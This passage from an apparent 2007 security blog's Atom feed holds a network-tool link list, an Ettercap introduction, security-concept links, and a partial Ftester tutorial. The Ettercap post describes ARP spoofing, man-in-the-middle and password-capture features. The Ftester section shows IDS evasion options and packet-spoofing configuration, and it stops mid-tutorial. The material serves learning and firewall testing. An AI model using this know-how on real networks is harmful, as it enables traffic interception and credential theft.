style="font-size:180%;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size:180%;"&gt;Roteamento&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.quagga.net/"&gt;Quagga&lt;/a&gt; Implementação de protocolos de roteamento&lt;br /&gt;&lt;a href="http://www.mipl.mediapoli.com/"&gt;Mobile IPv6 for Linux&lt;/a&gt; Implementação de suporte a mobilidade IPv6 no Linux&lt;br /&gt;&lt;a href="http://www.vyatta.com/index.php"&gt;Vyatta&lt;/a&gt; Implementação de roteador, firewall e VPN livre &lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size:180%;"&gt;Protocolo LDAP&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.openldap.org/"&gt;OpenLDAP&lt;/a&gt; Implementação GPL do protocolo LDAP &lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style="font-size:180%;"&gt;&lt;/span&gt;&lt;p&gt;&lt;span style="font-size:180%;"&gt;Análisadores de Tráfego&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.tcpdump.org/"&gt;tcpdump&lt;/a&gt; Site do utilitário de análise de tráfego&lt;br /&gt;&lt;a href="http://www.wireshark.org/"&gt;Wireshark&lt;/a&gt; Um bom analisador GPL. Antigo Ethereal.&lt;br /&gt;&lt;a href="http://ettercap.sourceforge.net/"&gt;Ettercap&lt;/a&gt; Sniffer de conexões&lt;br /&gt;&lt;a href="http://www.kismetwireless.net/"&gt;kismet&lt;/a&gt; Analisador wireless GPL&lt;br /&gt;&lt;a href="http://www.sniff-em.com/"&gt;Sniff-em&lt;/a&gt; Bom Sniffer - versão free captura somente tráfego entrante&lt;br /&gt;&lt;a href="http://analyzer.polito.it/"&gt;Analyzer&lt;/a&gt; Analisador de protocolos free&lt;br /&gt;&lt;a href="http://www.wildpackets.com/"&gt;Wildpackets&lt;/a&gt; Softwares úteis para análise de redes &lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style="font-size:180%;"&gt;&lt;/span&gt;&lt;p&gt;&lt;span style="font-size:180%;"&gt;Correio Eletrônico&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.postfix.org/"&gt;PostFix&lt;/a&gt; Mailer&lt;br /&gt;&lt;a href="http://www.squirrelmail.org/"&gt;Squirrel Mail&lt;/a&gt; WEB mail &lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style="font-size:180%;"&gt;&lt;/span&gt;&lt;p&gt;&lt;span style="font-size:180%;"&gt;Ferramentas para Testes e Benchmarks em Rede&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.scl.ameslab.gov/netpipe/"&gt;NetPIPE&lt;/a&gt; Ferramenta de teste de rede independente de protocolo&lt;br /&gt;&lt;a href="http://www.netperf.org/"&gt;NetPERF&lt;/a&gt; Benchmarking de rede no Linux &lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style="font-size:180%;"&gt;&lt;/span&gt;&lt;p&gt;&lt;span style="font-size:180%;"&gt;Clusters&lt;/span&gt;&lt;br /&gt;&lt;a href="http://openmosix.sourceforge.net/"&gt;OpenMOSIX&lt;/a&gt; Implementação MOSIX free&lt;br /&gt;&lt;a href="http://www.dcc.ufmg.br/llp/arcademis/"&gt;Arcademis&lt;/a&gt; Plataforma em JAVA para desenvolvimento de middleware orientado a objetos&lt;br /&gt;&lt;a href="http://www.clustermatic.org/"&gt;Clustermatic&lt;/a&gt; Implementação de cluster de alta performance&lt;br /&gt;&lt;a href="http://www.beowulf.org/"&gt;Beowulf.org&lt;/a&gt; Site oficial do Beowulf&lt;br /&gt;&lt;a href="http://www.linuxvirtualserver.org/"&gt;Linux Virtual Server Project&lt;/a&gt; Servidor virtual Linux sobre clusters&lt;br /&gt;&lt;a href="http://linuxclusters.com/"&gt;Linux Compute Clusters&lt;/a&gt; Informações sobre clusters Linux&lt;br /&gt;&lt;a href="http://www.lcic.org/"&gt;Linux Clusters Info Center&lt;/a&gt; Informação sobre Clusters Linux&lt;br /&gt;&lt;a href="http://www.drbd.org/"&gt;DRBD&lt;/a&gt; Espelhamento de dispositivos de blocos remotos&lt;br /&gt;&lt;a href="http://oss.missioncriticallinux.com/"&gt;Mission-Critical Linux&lt;/a&gt; Projeto de extensões do kernel para serviços de missão crítica&lt;br /&gt;&lt;a href="http://linux-ha.org/"&gt;Linux HA Project&lt;/a&gt; Projeto de clusters HA sobre Linux&lt;br /&gt;&lt;a href="http://multipinguim.underlinux.com.br/"&gt;Multipinguim&lt;/a&gt; Site brasileiro sobre clusters&lt;br /&gt;&lt;a href="http://www.ultramonkey.org/"&gt;Ultramonkey&lt;/a&gt; Implementações HA e Load Balance sobre Linux&lt;br /&gt;&lt;a href="http://oscar.sourceforge.net/"&gt;OSCAR&lt;/a&gt; Ferramentas free para cluster beowulf&lt;br /&gt;&lt;a href="http://www.rocksclusters.org/Rocks/"&gt;RockClusters&lt;/a&gt; Distribuição Linux voltada para clusters&lt;br /&gt;&lt;a href="http://www.msclinux.com/"&gt;MSCLinux&lt;/a&gt; Distribuição adequada a clusters&lt;br /&gt;&lt;a href="http://clubmask.sourceforge.net/"&gt;Clubmask&lt;/a&gt; Ferramentas para gerenciamento e agendamento de clusters &lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style="font-size:180%;"&gt;&lt;/span&gt;&lt;p&gt;&lt;span style="font-size:180%;"&gt;Grid's&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.globus.org/"&gt;Globus&lt;/a&gt; Tecnologias de grids computacionais&lt;br /&gt;&lt;a href="http://legion.virginia.edu/"&gt;Legion&lt;/a&gt; Implementação de grid&lt;br /&gt;&lt;a href="http://www.cs.wisc.edu/condor/"&gt;Condor&lt;/a&gt; Gerenciamento de carga de trabalho para computação em grid&lt;br /&gt;&lt;a href="http://www.ourgrid.org/"&gt;OurGrid&lt;/a&gt; Implementação nacional de grid &lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style="font-size:180%;"&gt;&lt;/span&gt;&lt;p&gt;&lt;span style="font-size:180%;"&gt;Segurança&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.snort.org/"&gt;Snort&lt;/a&gt; IDS em código aberto&lt;br /&gt;&lt;a href="http://www.simonzone.com/software/guarddog/"&gt;GuardDog&lt;/a&gt; Configurador de firewall (iptables)&lt;br /&gt;&lt;a href="http://m0n0.ch/wall/"&gt;M0n0wall&lt;/a&gt; Firewall baseado em freeBSD que pode rodar a partir do CD, guardando as configurações em diskette&lt;br /&gt;&lt;a href="http://www.astaro.com/"&gt;Astaro&lt;/a&gt; Firewall para Linux grátis&lt;br /&gt;&lt;a href="http://www.prelude-ids.org/"&gt;Prelude&lt;/a&gt; IDS híbrido para Linux&lt;br /&gt;&lt;a href="http://www.nessus.org/"&gt;Nessus&lt;/a&gt; Sistema de teste da segurança para Linux&lt;br /&gt;&lt;a href="http://osiris.shmoo.com/"&gt;Osiris&lt;/a&gt; Verificador de integridade de arquivos e serviços no sistema- IDS&lt;br /&gt;&lt;a href="http://www.openssh.com/"&gt;OpenSSH&lt;/a&gt; Implementaçao free do SSH&lt;br /&gt;&lt;a href="http://www.fwbuilder.org/"&gt;Firewall Builder&lt;/a&gt; Interface GUI para vários firewalls &lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style="font-size:180%;"&gt;&lt;/span&gt;&lt;p&gt;&lt;span style="font-size:180%;"&gt;QoS sobre Redes&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.csl.sony.co.jp/person/kjc/programs.html"&gt;altQ&lt;/a&gt; Implementação de enfileiramento alternativo &lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style="font-size:180%;"&gt;&lt;/span&gt;&lt;p&gt;&lt;span style="font-size:180%;"&gt;Simuladores de Rede&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.isi.edu/nsnam/ns/"&gt;ns&lt;/a&gt; Network Simulator&lt;br /&gt;&lt;a href="http://www-124.ibm.com/developerworks/oss/bluehoc/"&gt;BlueHoc&lt;/a&gt; Simulador Bluetooth&lt;br /&gt;&lt;a href="http://snad.ncsl.nist.gov/itg/nistnet/"&gt;NIST.net&lt;/a&gt; Network emulator&lt;br /&gt;&lt;a href="http://www.cs.uwa.edu.au/cnet/"&gt;cnet&lt;/a&gt; Simulador de protocolos de rede&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Abraços a todos.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Mário M. Magalhães&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13818048-8642001810115509920?l=drkmario.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://drkmario.blogspot.com/feeds/8642001810115509920/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13818048&amp;postID=8642001810115509920' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/8642001810115509920'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/8642001810115509920'/><link rel='alternate' type='text/html' href='http://drkmario.blogspot.com/2007/08/ferramentas-de-rede.html' title='Ferramentas de Rede'/><author><name>DrK</name><uri>http://www.blogger.com/profile/10828558378318057645</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_P03K0mNYCME/RtA5hNWeyQI/AAAAAAAABHs/DEVXql0el04/s400/Mario_olhos_com_sombra.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13818048.post-4379624103592016696</id><published>2007-03-28T11:20:00.000-03:00</published><updated>2007-03-28T11:34:18.444-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sniffing'/><category scheme='http://www.blogger.com/atom/ns#' term='ettercap how to use'/><category scheme='http://www.blogger.com/atom/ns#' term='arp spoof'/><category scheme='http://www.blogger.com/atom/ns#' term='ettercap'/><category scheme='http://www.blogger.com/atom/ns#' term='Tutorials'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker'/><category scheme='http://www.blogger.com/atom/ns#' term='arp attack'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='how to ettercap'/><category scheme='http://www.blogger.com/atom/ns#' term='dns spoof'/><category scheme='http://www.blogger.com/atom/ns#' term='tutoriais'/><category scheme='http://www.blogger.com/atom/ns#' term='pentest'/><category scheme='http://www.blogger.com/atom/ns#' term='sniffer'/><category scheme='http://www.blogger.com/atom/ns#' term='man in the middle'/><category scheme='http://www.blogger.com/atom/ns#' term='rede'/><category scheme='http://www.blogger.com/atom/ns#' term='mitm'/><category scheme='http://www.blogger.com/atom/ns#' term='hack'/><title type='text'>Usando o ettercap</title><content type='html'>O seguinte artigo é uma pequena introdução ao Ettercap, programa o qual é descrito pelo seu autor como "Um sniffer multi-propósito / Interceptor / Logger para LANs com switches"&lt;br /&gt;O ettercap faz uso pesado de ARP Spoofing, e se você não está familiarizado com este conceito, talvez você queira saber um pouco mais sobre ele antes de começar ( &lt;a href="http://en.wikipedia.org/wiki/Spoofing_attack"&gt;http://en.wikipedia.org/wiki/Spoofing_attack&lt;/a&gt; ).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;IMPORTANTE: Arp spoofing pode (e causa) grandes danos na sua rede. O ideal seria testa-lo em um ambiente separado da sua LAN de produção.&lt;br /&gt;&lt;br /&gt;Você pode baixar o ettercap em: &lt;a href="http://ettercap.sourceforge.net/download.php"&gt;http://ettercap.sourceforge.net/download.php&lt;/a&gt;&lt;br /&gt;EtterCap é um sniffer multi-propósito / Interceptor / Logger para LANs com switches.&lt;br /&gt;&lt;br /&gt;Ele suporta dissecação ativa e passiva de protocolos (até os cifrados/encapsulados) e inclui várias várias funcionalidades para análise de rede e de hosts. Entre as funcionalidades estão:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Injeção de caracteres em conexões estabelecidas: Você pode injetar caracteres para o servidor (emulando comandos) ou para o cliente (emulando respostas) mantendo as conexões "alive"!&lt;br /&gt;&lt;br /&gt;Suporte ao SSH1: Você pode sniffar Usuário e senha, mesmo através de uma conexão criptografada SSH1.&lt;br /&gt;&lt;br /&gt;Suporte à HTTPS: Você pode sniffar dados http SSL, até mesmo se a conexão for feita por um PROXY.&lt;br /&gt;&lt;br /&gt;Tráfego remoto através de GRE tunnel: Você pode sniffar tráfego remoto passando através de um tunel GRE de um roteador Cisco remoto e fazer um ataque mitm (man in the middle) no roteador.&lt;br /&gt;&lt;br /&gt;PPTP broker: Você pode fazer ataques mitm contra dados tunalados por PPTP.&lt;br /&gt;&lt;br /&gt;Coletor de password para: TELNET, FTP, POP, RLOGIN, SSH1, ICQ, SMB, MySQL, HTTP, NNTP, X11, NAPSTER, IRC, RIP, BGP, SOCKS 5, IMAP 4, VNC, LDAP, NFS, SNMP, HALF LIFE, QUAKE 3, MSN, YMSG.&lt;br /&gt;&lt;br /&gt;Filtro de pacotes / dropador de pacotes: Você pode configurar um filtro de pacotes para procurar uma string em particular (até mesmo hex) no conteúdo dos pacotes TCP e UDP e substituir uma string por uma especificada por você ou simplesmente dropar o pacote todo.&lt;br /&gt;&lt;br /&gt;Identificação de Sistema Operacional: Você pode fazer o fingerprint do SO do host vítima ou até mesmo da sua interface de rede.&lt;br /&gt;&lt;br /&gt;Terminar uma conexão: A partir de uma lista de conexões, você pode terminal qualquer conexão que você queira.&lt;br /&gt;&lt;br /&gt;Scanner passivo da LAN: Você pode conseguir informações sobre: os hosts que estão na LAN, porta abertas, versão de serviços, tipo de host (gateway, roteador ou um host simples) e a distância estimada em hops (saltos).&lt;br /&gt;&lt;br /&gt;Checagem de outros atacantes: o ettercap tem a habilidade de, ativa ou passivamente, achar outros atacantes na LAN.&lt;br /&gt;&lt;br /&gt;Vou examinar apenas algumas funcionalidades do ettercap, o resto é da sua imaginação.&lt;br /&gt;O laboratório que eu montei tem a seguinte configuração:&lt;br /&gt;&lt;br /&gt;o IP 192.168.0.1 é o Gateway padrão. Estarei usando um Cisco Catalyst 2900XL Switch (Ambiente com Switch).&lt;br /&gt;&lt;br /&gt;Segue um vídeo de um ataque teste de DNS spoofing:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.milw0rm.com/video/watch.php?id=43"&gt;http://www.milw0rm.com/video/watch.php?id=43&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Se você ouviu falar alguma solução de sobre troca de porta (port security), eu não tive a oportunidade de testar isso =/. Mas enfim, ficarei grato em saber sua sua experiência. Ahhhh, no vídeo estou usando uma versão para windows, mas gostaria de lembrar que a versão ettercap para o linux tem muito mais funcionalidades e plugins, mas para gravar o vídeo e mecher com GUI preferi o windows.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bem, é isso.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Abraço a todos.&lt;br /&gt;&lt;br /&gt;Mário Miranda de Magalhães&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13818048-4379624103592016696?l=drkmario.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://drkmario.blogspot.com/feeds/4379624103592016696/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13818048&amp;postID=4379624103592016696' title='6 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/4379624103592016696'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/4379624103592016696'/><link rel='alternate' type='text/html' href='http://drkmario.blogspot.com/2007/03/usando-o-ettercap.html' title='Usando o ettercap'/><author><name>DrK</name><uri>http://www.blogger.com/profile/10828558378318057645</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_P03K0mNYCME/RtA5hNWeyQI/AAAAAAAABHs/DEVXql0el04/s400/Mario_olhos_com_sombra.jpg'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13818048.post-5261659597883484476</id><published>2007-03-01T09:27:00.000-03:00</published><updated>2007-03-01T10:23:29.117-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tutoriais'/><category scheme='http://www.blogger.com/atom/ns#' term='firewall'/><category scheme='http://www.blogger.com/atom/ns#' term='pentest'/><category scheme='http://www.blogger.com/atom/ns#' term='free'/><category scheme='http://www.blogger.com/atom/ns#' term='rede'/><category scheme='http://www.blogger.com/atom/ns#' term='bypass firewall'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='concepts'/><title type='text'>A "must know" of Security</title><content type='html'>Hi to all,&lt;br /&gt;&lt;br /&gt;I know that most of people that get access here have a high level of technical knowledge. But some people just don't know what is what in security terms or sometimes don't know that technology.&lt;br /&gt;So, today i'll post links that I consider a "MUST KNOW" for those who lives with (un)security.&lt;br /&gt;&lt;br /&gt;Note that it's only concepts of these technologies does.&lt;br /&gt;&lt;br /&gt;Let's get started.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Firewall"&gt;Firewall concept and implementation&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Honeypot_%28computing%29"&gt;Honeypots&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Intrusion-detection_system"&gt;Intrusion Detection System (IDS)&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Network_intrusion_detection_system"&gt;Network intrusion detection system (NIDS)&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Host-based_intrusion_detection_system"&gt;Host-based intrusion detection system (HIDS)&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Protocol-based_intrusion_detection_system"&gt;Protocol-based intrusion detection system (PIDS)&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Intrusion_detection_system_evasion_techniques"&gt;IDS evasion techniques&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Application_protocol-based_intrusion_detection_system"&gt;Application protocol-based intrusion detection system (APIDS)&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Anomaly-based_intrusion_detection_system"&gt;Anomaly-based intrusion detection system&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Intrusion_prevention_system"&gt;Intrusion prevention system (IPS) &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Artificial_immune_system"&gt;Artificial immune system&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/AAFID"&gt;Autonomous Agents for Intrusion Detection&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Cisco_Security_Agent"&gt;Cisco Security Agent&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Rootkit"&gt;Rootkit&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Sniffer"&gt;Sniffer&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Spoofing_attack"&gt;Spoof Attacks&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This is what I remeber now. I'll post more soon.&lt;br /&gt;&lt;br /&gt;Hope I helped.&lt;br /&gt;&lt;br /&gt;[]'s&lt;br /&gt;&lt;br /&gt;Mário Miranda de Magalhães&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13818048-5261659597883484476?l=drkmario.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://drkmario.blogspot.com/feeds/5261659597883484476/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13818048&amp;postID=5261659597883484476' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/5261659597883484476'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/5261659597883484476'/><link rel='alternate' type='text/html' href='http://drkmario.blogspot.com/2007/03/must-know-of-security.html' title='A &quot;must know&quot; of Security'/><author><name>DrK</name><uri>http://www.blogger.com/profile/10828558378318057645</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_P03K0mNYCME/RtA5hNWeyQI/AAAAAAAABHs/DEVXql0el04/s400/Mario_olhos_com_sombra.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13818048.post-966742424539210186</id><published>2007-02-26T09:29:00.000-03:00</published><updated>2008-12-11T11:08:08.507-02:00</updated><title type='text'>Were my visits came from...</title><content type='html'>Aqui está um mapa de onde provém as visitas do meu blog.&lt;br /&gt;&lt;br /&gt;Here's a map of where my blog's visits came from.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/_P03K0mNYCME/ReLTIPJxSrI/AAAAAAAAAQk/AW6gXFkCh_0/s1600-h/Geo_map.jpeg"&gt;&lt;img style="cursor:pointer; cursor:hand;" src="http://2.bp.blogspot.com/_P03K0mNYCME/ReLTIPJxSrI/AAAAAAAAAQk/AW6gXFkCh_0/s400/Geo_map.jpeg" border="0" alt=""id="BLOGGER_PHOTO_ID_5035819471813561010" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;[]'s to all&lt;br /&gt;&lt;br /&gt;Abraços a todos&lt;br /&gt;&lt;br /&gt;Mário Miranda&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13818048-966742424539210186?l=drkmario.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://drkmario.blogspot.com/feeds/966742424539210186/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13818048&amp;postID=966742424539210186' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/966742424539210186'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/966742424539210186'/><link rel='alternate' type='text/html' href='http://drkmario.blogspot.com/2007/02/were-my-visits-came-from.html' title='Were my visits came from...'/><author><name>DrK</name><uri>http://www.blogger.com/profile/10828558378318057645</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_P03K0mNYCME/RtA5hNWeyQI/AAAAAAAABHs/DEVXql0el04/s400/Mario_olhos_com_sombra.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_P03K0mNYCME/ReLTIPJxSrI/AAAAAAAAAQk/AW6gXFkCh_0/s72-c/Geo_map.jpeg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13818048.post-3024413578507754653</id><published>2007-02-24T11:48:00.000-02:00</published><updated>2007-02-24T12:07:41.254-02:00</updated><title type='text'>Ftester - Firewall and IDS evasion testing</title><content type='html'>As I've already done an approach to this tool in last post in portuguese, now it comes in english. And it's better than the portuguese version because i've tested this tool and learn some stuff. And I grab some text of the autor. (in fact of that, this is a mixed tutorial, 80 percent author and 20 percent). &lt;br /&gt;&lt;br /&gt;Hope You enjoy.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;FTester - Introduction and Tutorial v1.0&lt;br /&gt;&lt;br /&gt;The Firewall Tester (ftester for friends), is a tool designed for testing &lt;br /&gt;firewalls filtering policies, from version 0.6 it also includes an Intrusion &lt;br /&gt;Detection System (IDS) testing feature. Basically ftester is made of a packet&lt;br /&gt;generator tool (ftest) and a sniffer (ftestd), the first script injects custom &lt;br /&gt;packets with a signature in the data part while the sniffer listens for such &lt;br /&gt;marked packets, the comparison of the sniffer logs with the injector ones &lt;br /&gt;permits the identification of firewall filtering rules. Unlike common firewall &lt;br /&gt;testing tools or packet generators ftester is capable of generating network &lt;br /&gt;traffic that will looks like real connections to the firewall or IDS system &lt;br /&gt;tested, this feature allows us to test stateful inspection firewalls (like &lt;br /&gt;netfilter or ipfilter) and IDS (like snort). Another advantage of this &lt;br /&gt;architecture is that we can spoof crafted packets source address since the &lt;br /&gt;sniffer knows which packets are generated by it's counterpart, some tricks &lt;br /&gt;involving TTL permits the spoofing also when simulating real connections, this &lt;br /&gt;is described as the 'connection spoofing mode'. &lt;br /&gt;&lt;br /&gt;The ftester components are perl scripts so they can be executed on any platform&lt;br /&gt;with a recent version of perl (at least 5.6.1 is recommended) and the three perl&lt;br /&gt;modules Net::RawIP, Net::PcapUtils, NetPacket, they can be downloaded at &lt;br /&gt;www.cpan.org or using the CPAN shell.&lt;br /&gt;&lt;br /&gt;Installation is quite simple, just untar the archive ftester-X.X.tar.gz and &lt;br /&gt;everything we need will be decompressed in the ftester-X.X directory, here&lt;br /&gt;we'll find:&lt;br /&gt;&lt;br /&gt; - ftest (the client-side packet generator)&lt;br /&gt; - ftestd (the sniffer)&lt;br /&gt; - ftest.conf (ftest example configuration file)&lt;br /&gt; - freport (a script for comparing ftest and ftestd log files)&lt;br /&gt;&lt;br /&gt;the rest is documentation (I recommend reading the man page ftester.8). &lt;br /&gt;&lt;br /&gt;The invocation of ftest and ftestd without options will show an usage summary,&lt;br /&gt;look at the documentation for a detailed explanation regarding these options and&lt;br /&gt;the configuration file.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;# ./ftest&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;Firewall Tester client v1.0&lt;br /&gt;Copyright (C) 2001-2006 Andrea Barisani [andrea@inversepath.com]&lt;br /&gt;&lt;br /&gt;Configuration options:&lt;br /&gt;  -f [conf_file]&lt;br /&gt;  -c [source_ip]:[source_port]:[dest_ip]:[dest_port]:[flags]:[protocol]:[tos]&lt;br /&gt;  -v [verbose]&lt;br /&gt;&lt;br /&gt;Timing options:&lt;br /&gt;  -d [delay, 0.25 = 250 ms]&lt;br /&gt;  -s [sleep time, 1 = 1 s]&lt;br /&gt;&lt;br /&gt;Evasion options:&lt;br /&gt;  -e [evasion method]&lt;br /&gt;  -t [ids_ttl]&lt;br /&gt;&lt;br /&gt;Connection options:&lt;br /&gt;  -r [reset connection]&lt;br /&gt;  -F [end connection]&lt;br /&gt;  -g [IP fragments number, es. 4|IP fragments size, es. 16b]&lt;br /&gt;  -p [TCP segments number, es. 4|TCP segments size, es 6b]&lt;br /&gt;  -k [cksum value, es. 60000]&lt;br /&gt;  -m [marker]&lt;br /&gt;&lt;br /&gt;&lt;em&gt;# ./ftestd&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;Firewall Tester sniffer v1.0&lt;br /&gt;Copyright (C) 2001-2006 Andrea Barisani [andrea@inversepath.com]&lt;br /&gt;&lt;br /&gt;Configuration options:&lt;br /&gt;  -i [interface]&lt;br /&gt;  -g [fragments reassembly]&lt;br /&gt;  -m [marker]&lt;br /&gt;  -v [verbose]&lt;br /&gt;&lt;br /&gt;Connection options:&lt;br /&gt;  -c [ttl1:ttl2] (ttl1 setting currently works only on Linux systems)&lt;br /&gt;&lt;br /&gt;The definition of the packets we want to send for test if they can traverse the&lt;br /&gt;firewall is mainly specified in a configuration file (usually ftest.conf), the&lt;br /&gt;main syntax is:&lt;br /&gt;&lt;br /&gt;Source Address:Source Port:Destination Address:Destination Port:Flags:Protocol:Type of Service&lt;br /&gt;&lt;br /&gt;for TCP and UDP packets&lt;br /&gt;&lt;br /&gt;Source Address:Source Port:Destination Address:Destination Port:Flags:ICMP:icmp_type:icmp_code&lt;br /&gt;&lt;br /&gt;for ICMP packets&lt;br /&gt;&lt;br /&gt;here's are a few examples:&lt;br /&gt;&lt;br /&gt;# SYN packet to 10.1.7.1 port 80 &lt;br /&gt;192.168.0.10:1024:10.1.7.1:80:S:TCP:0&lt;br /&gt;&lt;br /&gt;# PSH,ACK reply from 192.168.0.10&lt;br /&gt;192.168.0.10:20:10.1.7.1:1022:AP:TCP:22&lt;br /&gt;&lt;br /&gt;# UDP packet&lt;br /&gt;192.168.0.10:53:10.1.7.1:53::UDP:0&lt;br /&gt;&lt;br /&gt;# ICMP packet type 3 code 5&lt;br /&gt;192.168.0.10::10.1.7.1:::ICMP:3:5&lt;br /&gt;&lt;br /&gt;# ranges are allowed for source address, source port, destination port&lt;br /&gt;# source address can also be specified in CIDR form&lt;br /&gt;192.168.0.1-255:1024:10.1.7.1:22:S:TCP:0&lt;br /&gt;192.168.0.1:1024:10.1.7.1:1-65535:S:TCP:0&lt;br /&gt;192.168.0.1:1-1024:10.7.0.1:20-25:S:TCP:22&lt;br 